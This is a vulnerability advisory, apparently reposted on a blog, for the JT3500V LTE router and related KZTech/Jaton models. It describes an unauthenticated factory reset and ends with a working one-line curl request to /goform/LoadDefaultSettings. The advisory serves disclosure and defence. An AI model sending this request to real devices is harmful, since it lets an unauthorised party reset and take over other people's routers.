Saturday, March 20, 2021

KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Factory Reset


KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Factory Reset


Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
http://www.jatontec.com/products/show.php?itemid=258
http://www.jatontech.com/CAT12.html#_pp=105_564
http://www.kzbtech.com/AM3300V.html
https://neotel.mk/ostanati-paketi-2/

Affected version: Model | Firmware
-------|---------
JT3500V | 2.0.1B1064
JT3300V | 2.0.1B1047
AM6200M | 2.0.0B3210
AM6000N | 2.0.0B3042
AM5000W | 2.0.0B3037
AM4200M | 2.0.0B2996
AM4100V | 2.0.0B2988
AM3500MW | 2.0.0B1092
AM3410V | 2.0.0B1085
AM3300V | 2.0.0B1060
AM3100E | 2.0.0B981
AM3100V | 2.0.0B946
AM3000M | 2.0.0B21
KZ7621U | 2.0.0B14
KZ3220M | 2.0.0B04
KZ3120R | 2.0.0B01

Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: The device allows unauthenticated attackers to visit the
unprotected /goform/LoadDefaultSettings endpoint and reset the
device to its factory default settings. Once the GET request is
made, the device will reboot with its default settings allowing
the attacker to bypass authentication and take full control of
the system.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
Linux 2.6.36+ (mips)
Mediatek APSoC SDK v4.3.1.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2021-5642
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5642.php


03.02.2021

--


$ curl -sk https://192.168.1.1/goform/LoadDefaultSettings
success
$
 

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Thanks for everything Templateism - You should have written the code a little more complicated